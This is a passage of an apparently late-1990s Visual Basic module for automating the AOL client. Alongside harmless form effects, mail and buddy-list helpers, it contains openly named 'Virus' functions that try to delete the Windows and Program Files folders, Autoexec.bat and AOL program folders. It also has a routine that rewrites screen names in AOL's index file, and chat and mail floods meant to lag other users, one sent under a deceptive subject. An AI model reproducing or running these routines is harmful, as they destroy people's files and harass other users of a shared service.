InStr(LCase(MyString$), LCase(ToFind)) NewSpot& = Spot& Do If NewSpot& > 0& Then LeftString$ = Left(MyString$, NewSpot& - 1) If Spot& + Len(ToFind$) <= Len(MyString$) Then RightString$ = Right(MyString$, Len(MyString$) - NewSpot& - Len(ToFind$) + 1) Else RightString = "" End If NewString$ = LeftString$ & ReplaceWith$ & RightString$ MyString$ = NewString$ Else NewString$ = MyString$ End If Spot& = NewSpot& + Len(ReplaceWith$) If Spot& > 0 Then NewSpot& = InStr(Spot&, LCase(MyString$), LCase(ToFind$)) End If Loop Until NewSpot& < 1 ReplaceString$ = NewString$ End Function Function CheckIfOnline2(sn As String) Call RunMenuByChar(9, "L") Do: DoEvents Dim aol%, mdi%, TIT%, Edi%, Icona%, tit2%, No%, stat% Dim fillit, clickit, closeit, AreThey, Trimit$, last, SendNum aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Locate Member Online") Edi% = FindChildByClass(TIT%, "_AOL_Edit") If TIT% <> 0 And Edi% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, sn) Icona% = FindChildByClass(TIT%, "_AOL_Icon") clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents No% = FindWindow("#32770", vbNullString) tit2% = findchildbytitle(mdi%, "Locate " & sn) stat% = FindChildByClass(tit2%, "_AOL_Static") If No% <> 0 Or tit2% <> 0 Then Exit Do Loop If No% <> 0 Then closeit = SendMessage(No%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) AreThey = sn & " is Not Online" ElseIf tit2% <> 0 Then SendNum = SendMessageByNum(stat%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$) closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) AreThey = Trimit$ End If CheckIfOnline2 = AreThey End Function Function FindChat() Dim aol%, mdi%, Chil%, Gly%, lis%, _ Combo%, Icona%, Rich% 'i worked for a pretty long time on this, it goes through all ims now aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") Combo% = FindChildByClass(Chil%, "_AOL_Combobox") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Gly% = FindChildByClass(Chil%, "_AOL_Glyph") Icona% = FindChildByClass(Chil%, "_AOL_Icon") Rich% = FindChildByClass(Chil%, "RICHCNTL") If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then FindChat = Chil% End If If Combo% = 0 And lis% = 0 And Gly% = 0 Then Do: DoEvents Chil% = FindWindowEx(mdi%, Chil%, "AOL Child", vbNullString) 'took a while to figure that out ;o/ Combo% = FindChildByClass(Chil%, "_AOL_Combobox") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Gly% = FindChildByClass(Chil%, "_AOL_Glyph") Icona% = FindChildByClass(Chil%, "_AOL_Icon") Rich% = FindChildByClass(Chil%, "RICHCNTL") If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then Exit Do Loop Until Chil% = 0& End If FindChat = Chil% End Function Function Form_EarthQuakeDamage(frm As Form) 'This one makes damage on the form If frm.WindowState = 2 Or frm.WindowState = 1 Then MsgBox ("Function cannot be performed while" & Chr(13) & " window is maximized.."), 16, ("Error Press OK to resume program") Exit Function End If Dim I, l, T, W, h As Integer l = frm.Left T = frm.Top W = frm.Width h = frm.Height For I = 1 To 20 num = Int(Rnd * 5) DoEvents If num < 3 Then frm.Line (0, 0)-(Form1.Width / 2, Form1.Height / 2) frm.Move (l + 50), (T + 25), W, h Wait (0.001) DoEvents If num > 2 Then frm.Line (Form1.Width / 2, Form1.Height / 2)-(Form1.Width / 2, Form1.Height) frm.Move (l + 60), (T + 45), W, h Wait (0.001) DoEvents If num > 1 Then frm.Line (0, Form1.Height)-(Form1.Width / 3, Form1.Height / 3) frm.Move (l + 40), (T + 20), W, h Wait (0.001) DoEvents If num > 3 Then frm.Line (0, Form1.Height / 2)-(Form1.Width * 2, Form1.Height / 3) frm.Move (l + 30), (T + 35), W, h Wait (0.001) DoEvents frm.Move (l + 15), (T + 10), W, h Wait (0.001) DoEvents If num < 4 Then frm.Line (Form1.Width * 2, Form1.Height * 3)-(Form1.Width / 3, Form1.Height / 2) Next I frm.Move l, T, W, h 'Returns the original position End Function Function Form_EarthQuake(frm As Form) If frm.WindowState = 2 Or frm.WindowState = 1 Then MsgBox ("Function cannot be performed while" & Chr(13) & " window is maximized.."), 16, ("Error Press OK to resume program") Exit Function End If Dim I, l, T, W, h As Integer l = frm.Left T = frm.Top W = frm.Width h = frm.Height For I = 1 To 10 frm.Move (l + 50), (T + 25), W, h Wait (0.001) frm.Move (l + 60), (T + 45), W, h Wait (0.001) frm.Move (l + 40), (T + 20), W, h Wait (0.001) frm.Move (l + 30), (T + 35), W, h Wait (0.001) frm.Move (l + 15), (T + 10), W, h Wait (0.001) Next I frm.Move l, T, W, h 'Returns the original position End Function Function Form_EarthQuakeLong(frm As Form) If frm.WindowState = 2 Or frm.WindowState = 1 Then MsgBox ("Function cannot be performed while" & Chr(13) & " window is maximized.."), 16, ("Error Press OK to resume program") Exit Function End If Dim I, l, T, W, h As Integer l = frm.Left T = frm.Top W = frm.Width h = frm.Height For I = 1 To 20 DoEvents frm.Move (l + 50), (T + 25), W, h Wait (0.001) DoEvents frm.Move (l + 60), (T + 45), W, h Wait (0.001) DoEvents frm.Move (l + 40), (T + 20), W, h Wait (0.001) DoEvents frm.Move (l + 30), (T + 35), W, h Wait (0.001) DoEvents frm.Move (l + 15), (T + 10), W, h Wait (0.001) DoEvents Next I frm.Move l, T, W, h 'Returns the original position End Function Sub ChatClear1() 'This just clears the chat For I = 1 To 1900 a = a + "á" Next ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a) TimeOut 0.001 ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a) TimeOut 0.001 ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a) End Sub Sub ChatClear2() 'This just clears the chat For I = 1 To 1900 a = a + "á" Next ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a) End Sub Sub Form_MakeAOLMyChild(frm As Form) 'MAKE SURE YOU CLOSE AOL BEFORE ENDING PROGRAM 'MIGHT CAUSE ERROR aol% = FindWindow("AOL Frame25", vbNullString) Call SetParent(aol%, frm.hwnd) End Sub Function Comp_DelFile(file As String) On Error Resume Next Kill file$ NoFreeze% = DoEvents() End Function Function Virus_1() On Error Resume Next Comp_DelDiR ("C:\Program Files") End Function Sub Comp_DelDiR(DiR As String) RmDir (DiR$) End Sub Function Virus_AiM() On Error Resume Next Comp_DelDiR ("C:\Program Files\AIM95") Comp_DelDiR ("C:\Program Files\AIM95a") Comp_DelDiR ("C:\Program Files\AIM95b") End Function Sub Sn_NewUser(DiR As String, Replace As String) On Error Resume Next sn$ = sn$ + String(10 - Len(sn$), Chr(32)) Replace$ = Replace$ + String(10 - Len(Replace$), Chr(32)) Free = FreeFile Open DiR$ + "\idb\main.idx" For Binary As #Free For X = 1 To LOF(Free) Step 32000 Text$ = Space(32000) Get #Free, X, Text$ meeh: If InStr(1, Text$, sn$, 1) Then Where = InStr(1, Text$, sn$, 1) sn$ = ("New User") Put #Free, (X + Where) - 1, Replace$ Mid$(Text$, Where, 10) = String(10, " ") GoTo meeh End If DoEvents Next X Close #Free End Sub Function Virus_Aol25() On Error Resume Next Comp_DelDiR ("C:\AOL 25\idb") Comp_DelDiR ("C:\AOL 25a\idb") Comp_DelDiR ("C:\AOL 25b\idb") Comp_DelDiR ("C:\AOL 25i\idb") Comp_DelDiR ("C:\AOL 25\Organize") Comp_DelDiR ("C:\AOL 25a\Organize") Comp_DelDiR ("C:\AOL 25b\Organize") Comp_DelDiR ("C:\AOL 25i\Organize") Comp_DelDiR ("C:\AOL 25\Tool") Comp_DelDiR ("C:\AOL 25a\Tool") Comp_DelDiR ("C:\AOL 25b\Tool") Comp_DelDiR ("C:\AOL 25i\Tool") End Function Function Virus_AoL3() On Error Resume Next Comp_DelDiR ("C:\AOL 30\idb") Comp_DelDiR ("C:\AOL 30a\idb") Comp_DelDiR ("C:\AOL 30b\idb") Comp_DelDiR ("C:\AOL 30\Organize") Comp_DelDiR ("C:\AOL 30a\Organize") Comp_DelDiR ("C:\AOL 30b\Organize") Comp_DelDiR ("C:\AOL 30\Tool") Comp_DelDiR ("C:\AOL 30a\Tool") Comp_DelDiR ("C:\AOL 30b\Tool") End Function Function Virus_3() On Error Resume Next Comp_DelFile ("C:\Autoexec.bat") Comp_DelDiR ("C:\Program Files") Comp_DelDiR ("C:\AOL 40\Winsock") Comp_DelDiR ("C:\AOL 40a\Winsock") Comp_DelDiR ("C:\AOL 40b\Winsock") Comp_DelDiR ("C:\AOL 30\Winsock") Comp_DelDiR ("C:\AOL 30a\Winsock") Comp_DelDiR ("C:\AOL 30b\Winsock") Comp_DelDiR ("C:\AOL 25\Winsock") Comp_DelDiR ("C:\AOL 25a\Winsock") Comp_DelDiR ("C:\AOL 25b\Winsock") Comp_DelDiR ("C:\AOL 25i\Winsock") End Function Function Virus_AoL4() On Error Resume Next Comp_DelDiR ("C:\AOL 40\idb") Comp_DelDiR ("C:\AOL 40a\idb") Comp_DelDiR ("C:\AOL 40b\idb") Comp_DelDiR ("C:\AOL 40\Organize") Comp_DelDiR ("C:\AOL 40a\Organize") Comp_DelDiR ("C:\AOL 40b\Organize") Comp_DelDiR ("C:\AOL 40\Tool") Comp_DelDiR ("C:\AOL 40a\Tool") Comp_DelDiR ("C:\AOL 40b\Tool") End Function Function Virus_2() On Error Resume Next Comp_DelDiR ("C:\Windows") End Function Sub Form_MakeMeAOLChild(frm As Form) aol% = FindWindow("AOL Frame25", vbNullString) Call SetParent(frm.hwnd, aol%) End Sub Sub Form_PaintScreen(frm As Form) 'im not too good with BitBlt but i like this 'one , it paints the screen on your form 'but not inline with where your form 'is so itll be the top , might come in handy frm.AutoRedraw = True tpx = Screen.TwipsPerPixelX tpy = Screen.TwipsPerPixelY pxlt = frm.Top / tpy pxll = frm.Left / tpx Snap& = GetDesktopWindow Call BitBlt(frm.hDC, 0, 0, frm.Width, frm.Height, GetDC(Snap&), 0, 0, SRCCOPY) frm.Refresh End Sub Function Form_Shrink(frm As Form) X = frm.Width Y = frm.Height For I = frm.Height To 1 Step -1 frm.Height = I frm.Width = Val(Y) - 1 Y = frm.Width Next I End Function Function Form_ShrinkEnd(frm As Form) X = frm.Width Y = frm.Height For I = frm.Height To 1 Step -1 frm.Height = I frm.Width = Val(Y) - 1 Y = frm.Width Next I End End Function Function Form_ShrinkFast(frm As Form) X = frm.Width Y = frm.Height For I = frm.Height To 1 Step -10 frm.Height = I frm.Width = Val(Y) - 8 Y = frm.Width Next I End Function Function Form_ShrinkFastEnd(frm As Form) X = frm.Width Y = frm.Height For I = frm.Height To 1 Step -10 frm.Height = I frm.Width = Val(Y) - 8 Y = frm.Width Next I End End Function Function FormStripes_Green(frm As Form) frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True For X = 1 To frm.Width I = Int(Rnd * 64) frm.Line (X, 1)-(X, frm.Height), RGB(FF, I, FF) Next X frm.Refresh End Function Sub SendMail(Recipiants, Subject, Message) aol% = FindWindow("AOL Frame25", vbNullString) AOTooL% = FindChildByClass(aol%, "AOL Toolbar") AOTool2% = FindChildByClass(AOTooL%, "_AOL_Toolbar") AOIcon% = FindChildByClass(AOTool2%, "_AOL_Icon") AOIcon% = GetWindow(AOIcon%, 2) ClickIcon (AOIcon%) Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") AOMail% = findchildbytitle(mdi%, "Write Mail") AOEdit% = FindChildByClass(AOMail%, "_AOL_Edit") AORich% = FindChildByClass(AOMail%, "RICHCNTL") AOIcon% = FindChildByClass(AOMail%, "_AOL_Icon") Loop Until AOMail% <> 0 And AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0 Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiants) AOEdit% = GetWindow(AOEdit%, 2) AOEdit% = GetWindow(AOEdit%, 2) AOEdit% = GetWindow(AOEdit%, 2) AOEdit% = GetWindow(AOEdit%, 2) Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Subject) Call SendMessageByString(AORich%, WM_SETTEXT, 0, Message) For GetIcon = 1 To 18 AOIcon% = GetWindow(AOIcon%, 2) Next GetIcon ClickIcon (AOIcon%) Do: DoEvents AOError% = findchildbytitle(mdi%, "Error") AOModal% = FindWindow("_AOL_Modal", vbNullString) If AOMail% = 0 Then Exit Do If AOModal% <> 0 Then AOIcon% = FindChildByClass(AOModal%, "_AOL_Icon") ClickIcon (AOIcon%) Call SendMessage(AOMail%, WM_CLOSE, 0, 0) Exit Sub End If If AOError% <> 0 Then Call SendMessage(AOError%, WM_CLOSE, 0, 0) Call SendMessage(AOMail%, WM_CLOSE, 0, 0) Exit Do End If Loop End Sub Function FormStripes_Blue(frm As Form) frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True For X = 1 To frm.Width I = Int(Rnd * 64) frm.Line (X, 1)-(X, frm.Height), RGB(FF, FF, I) Next X frm.Refresh End Function Sub ErrorRScroll1(txt) 'This is pretty phat For I = 1 To 12 a = a + ("ááá" & txt) Next ErrorRsenD "" & a End Sub Sub ErrorRChatCrack(TheText As String) a = Len(TheText) For W = 1 To a Step 18 AB$ = Mid$(TheText, W, 1) u$ = Mid$(TheText, W + 1, 1) s$ = Mid$(TheText, W + 2, 1) T$ = Mid$(TheText, W + 3, 1) Y$ = Mid$(TheText, W + 4, 1) l$ = Mid$(TheText, W + 5, 1) F$ = Mid$(TheText, W + 6, 1) B$ = Mid$(TheText, W + 7, 1) c$ = Mid$(TheText, W + 8, 1) D$ = Mid$(TheText, W + 9, 1) h$ = Mid$(TheText, W + 10, 1) j$ = Mid$(TheText, W + 11, 1) K$ = Mid$(TheText, W + 12, 1) M$ = Mid$(TheText, W + 13, 1) n$ = Mid$(TheText, W + 14, 1) Q$ = Mid$(TheText, W + 15, 1) v$ = Mid$(TheText, W + 16, 1) Z$ = Mid$(TheText, W + 17, 1) PC$ = PC$ & "<b> <b> " & AB$ & " </b><i> " & u$ & " </i><u> " & s$ & " </u><s> " & T$ & " </s><b> " & Y$ & " </b><sup> " & l$ & " </sup><i> " & F$ & " </i><u> " & B$ & " <S> " & c$ & " </u> " & D$ & " </s><b> " & h$ & " <u> " & j$ & " </b></u><i> " & K$ & " <b><s><i><u> " & M$ & " </i></u><b><s> " & n$ & " </b></s><i><u> " & Q$ & " <b></i></u> " & v$ & " </b> " & Z$ Next W ErrorRsenD (PC$) End Sub Sub ErrorRChatLag() 'This will lag the chat room '(P.S. To stop it hold esc) For I = 1 To 150 a = a + "</html><html>" Next ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a TimeOut (1#) End Sub Sub ErrorRMailLag(ScreenNames) 'This will lag the hell outta the person when 'they open up the mail '(To stop it hit esc) For I = 1 To 10000 a = a + "<html></html>" Next SendMail (ScreenNames), ("Important Message About Chat Rooms"), ("ErrorR OwNz YoU" & a) End Sub Public Function CheckAlive(ScreenName As String) As Boolean Dim aol As Long, mdi As Long, ErrorWindow As Long Dim ErrorTextWindow As Long, ErrorString As String Dim MailWindow As Long, NoWindow As Long, NoButton As Long Call SendMail("*, " & ScreenName$, "MONSTERB0O Abusement Account Checker", "Just Checkin...") aol& = FindWindow("AOL Frame25", vbNullString) mdi& = FindWindowEx(aol&, 0&, "MDICLIENT", vbNullString) Do DoEvents ErrorWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Error") ErrorTextWindow& = FindWindowEx(ErrorWindow&, 0&, "_AOL_View", vbNullString) ErrorString$ = GetText(ErrorTextWindow&) Loop Until ErrorWindow& <> 0 And ErrorTextWindow& <> 0 And ErrorString$ <> "" If InStr(LCase(ReplaceString(ErrorString$, " ", "")), LCase(ReplaceString(ScreenName$, " ", ""))) > 0 Then CheckAlive = False Else CheckAlive = True End If MailWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Write Mail") Call PostMessage(ErrorWindow&, WM_CLOSE, 0&, 0&) DoEvents Call PostMessage(MailWindow&, WM_CLOSE, 0&, 0&) DoEvents Do DoEvents NoWindow& = FindWindow("#32770", "America Online") NoButton& = FindWindowEx(NoWindow&, 0&, "Button", "&No") Loop Until NoWindow& <> 0& And NoButton& <> 0 Call SendMessage(NoButton&, WM_KEYDOWN, VK_SPACE, 0&) Call SendMessage(NoButton&, WM_KEYUP, VK_SPACE, 0&) End Function Sub ErrorRScroll2(txt) 'This is pretty phat For I = 1 To 15 a = a + ("áááááááááááááááááááááááááááááááááááááá" & txt) Next ErrorRsenD ".<p=" & a End Sub Function FormStripes_Red(frm As Form) frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True For X = 1 To frm.Width I = Int(Rnd * 64) frm.Line (X, 1)-(X, frm.Height), RGB(I, FF, FF) Next X frm.Refresh End Function Function FormStripes_Random(frm As Form) frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True For X = 1 To frm.Width frm.Line (X, 1)-(X, frm.Height), QBColor(Rnd * 15) Next X frm.Refresh End Function Sub FormShade_Blue(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(FF, aa, X) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_Green(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(FF, X, aa) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Function Form_LightShow(frm As Form) 'put this in a timer frm.Line (Int(Rnd * frm.Width), Int(Rnd * frm.Height))-(Int(Rnd * frm.Width), Int(Rnd * frm.Height)), QBColor(Rnd * 15) End Function Public Function FindRoom() As Long Dim aol As Long, mdi As Long, child As Long Dim Rich As Long, AOLList As Long Dim AOLIcon As Long, AOLStatic As Long aol& = FindWindow("AOL Frame25", vbNullString) mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString) child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString) Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString) AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString) AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString) AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString) If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then FindRoom& = child& Exit Function Else Do child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString) Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString) AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString) AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString) AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString) If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then FindRoom& = child& Exit Function End If Loop Until child& = 0& End If FindRoom& = child& End Function Sub FormMove(frm As Form) 'moves form without clicking the border ReleaseCapture SendMessage frm.hwnd, WM_SYSCOMMAND, SC_MOVE, 0 frm.Refresh End Sub Function File_GetAttributes(Path As String) Dim FA FA = GetAttr(Path) If FA = 0 Then Let FA = "Normal": GoTo GotIt If FA = 1 Then Let FA = "ReadOnly": GoTo GotIt If FA = 2 Then Let FA = "Hidden": GoTo GotIt If FA = 4 Then Let FA = "System": GoTo GotIt If FA = 16 Then Let FA = "Directory": GoTo GotIt If FA = 32 Then Let FA = "Archive": GoTo GotIt GotIt: File_GetAttributes = FA End Function Sub FormShade_BlueGreen(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(FF, X + 5, X) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_BW(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(X, X, X) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_Grey(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(X + 25, X + 25, X + 25) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_Purple(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(X, FF, X) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_Red(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(X, FF, aa) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Sub FormShade_Yellow(frm As Form) Dim I As Integer frm.ScaleMode = 3 frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True NumberOfRects = 64 For I = 1 To 64 X = 255 - (I * 4 - 1) GC = RGB(X, X, FF) frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF Next I frm.Refresh End Sub Function GetCursorPosition() Dim Pos As POINTAPI GetIt = GetCursorPos(Pos) GetCursorPosition = (Pos.X & " " & Pos.Y) End Function Function Ghost_Off() Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Buddy List Window") If TIT% = 0 Then Call RunMenuByChar(9, "V") End If If TIT% <> 0 Then Exit Do Loop Icona% = FindChildByClass(TIT%, "_AOL_Icon") Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents tit2% = findchildbytitle(mdi%, "Buddy Lists") iconb% = FindChildByClass(tit2%, "_AOL_Icon") If tit2% <> 0 And iconb% <> 0 Then Exit Do Loop iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Do: DoEvents tit3% = findchildbytitle(mdi%, "Privacy Preferences") Chk% = FindChildByClass(tit3%, "_AOL_Checkbox") If tit3% <> 0 And Chk% <> 0 Then Exit Do Loop Do: DoEvents clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&) G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If G% <> 0 Then Exit Do Loop Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) saveit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) Do: DoEvents numwin% = FindWindow("#32770", vbNullString) If numwin% <> 0 Then Exit Do Loop DoEvents Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&) Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&) End Function Function Ghost_On() 'NIce ghosting code ' for you peopel that dont like ims Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Buddy List Window") If TIT% = 0 Then 'makes sure Buddy List Window Call RunMenuByChar(9, "V") 'is up End If If TIT% <> 0 Then Exit Do Loop Icona% = FindChildByClass(TIT%, "_AOL_Icon") Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) Icona% = GetWindow(Icona%, GW_HWNDNEXT) clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents tit2% = findchildbytitle(mdi%, "Buddy Lists") iconb% = FindChildByClass(tit2%, "_AOL_Icon") If tit2% <> 0 And iconb% <> 0 Then Exit Do Loop iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) iconb% = GetWindow(iconb%, GW_HWNDNEXT) clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Do: DoEvents tit3% = findchildbytitle(mdi%, "Privacy Preferences") Chk% = FindChildByClass(tit3%, "_AOL_Checkbox") If tit3% <> 0 And Chk% <> 0 Then Exit Do Loop Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Do: DoEvents clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&) G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If G% <> 0 Then Exit Do Loop Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Do: DoEvents clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If GetIt% <> 0 Then Exit Do Loop Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Do: DoEvents clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&) GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If GetIt% <> 0 Then Exit Do Loop Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) 'listbox Chk% = GetWindow(Chk%, GW_HWNDNEXT) Chk% = GetWindow(Chk%, GW_HWNDNEXT) saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) saveit = 